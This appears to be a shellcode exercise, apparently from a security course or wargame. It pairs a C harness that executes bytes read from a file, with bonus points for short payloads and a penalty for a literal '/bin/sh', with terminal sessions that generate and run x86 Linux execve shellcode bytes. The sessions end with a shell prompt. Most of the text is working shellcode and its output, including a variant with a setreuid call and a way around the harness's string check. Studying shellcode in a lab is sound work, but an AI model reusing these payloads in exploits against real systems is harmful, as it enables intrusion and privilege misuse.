/* testshell.c */
#include <stdio.h>
#include <string.h>
#define bufsz 100
const char msg[]="Usage: %s <shellcode file>\n";
static char buffer1[bufsz];
static char buffer2[bufsz];
void usage(char *self)
{
        printf(msg, self);
        exit(1);
}

int main(int argc, char *argv[])
{
        FILE *fp;
        void (*funcptr)();
        if (argc != 2) usage(argv[0]);
        if ((fp=fopen(argv[1], "rb"))==NULL) {
                printf("fail to open file: %s\n", argv[1]);
                exit(1);
        }
        fgets(buffer1, bufsz, fp);
        fclose(fp);
        strcpy(buffer2, buffer1);/* your shellcode should not contain 0x0*/
        if (strlen(buffer2)>=50) /* your shellcode should be less than 40 bytes */
                printf("your shellcode is too long! 5 points penalty \n");
        if (strlen(buffer2)<30)  /* the shorter, the better the shell code is */
                printf("your shellcode is less than 30 bytes! 10 bonus points\n");
	if (strstr(buffer2, "/bin/sh"))
		printf("Malicious code detected! 15 points penalty \n");
	funcptr = (void *) buffer2;
	(*funcptr)();  /* execute your shell code */
	return 0 ;
}

$  gcc -v
Reading specs from /usr/lib/gcc-lib/i386-slackware-linux/3.2.2/specs
Configured with: ../gcc-3.2.2/configure --prefix=/usr --enable-shared --enable-threads=posix --enable-__cxa_atexit --disable-checking --with-gnu-ld --verbose --target=i386-slackware-linux --host=i386-slackware-linux
Thread model: posix
gcc version 3.2.2

python -c 'print "\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' >input

./testshell input

python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' >sh3llc0d3

./testshell sh3llc0d3
your shellcode is less than 30 bytes! 10 bonus points
$

$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-slackware-linux/3.2.2/specs
Configured with: ../gcc-3.2.2/configure --prefix=/usr --enable-shared --enable-threads=posix --enable-__cxa_atexit --disable-checking --with-gnu-ld --verbose --target=i386-slackware-linux --host=i386-slackware-linux
Thread model: posix
gcc version 3.2.2
$ gcc -o testshell1 -fpic -g testshell.c 
$ ./testshell1 SC1
your shellcode is less than 30 bytes! 10 bonus points
sh-2.05b$

$ sysctl kernel.randomize_va_space
kernel.randomize_va_space = 1
$ gcc -fpic -o testshell -g testshell.c
$ ./testshell SC1
your shellcode is less than 30 bytes! 10 bonus points
sh-2.05b$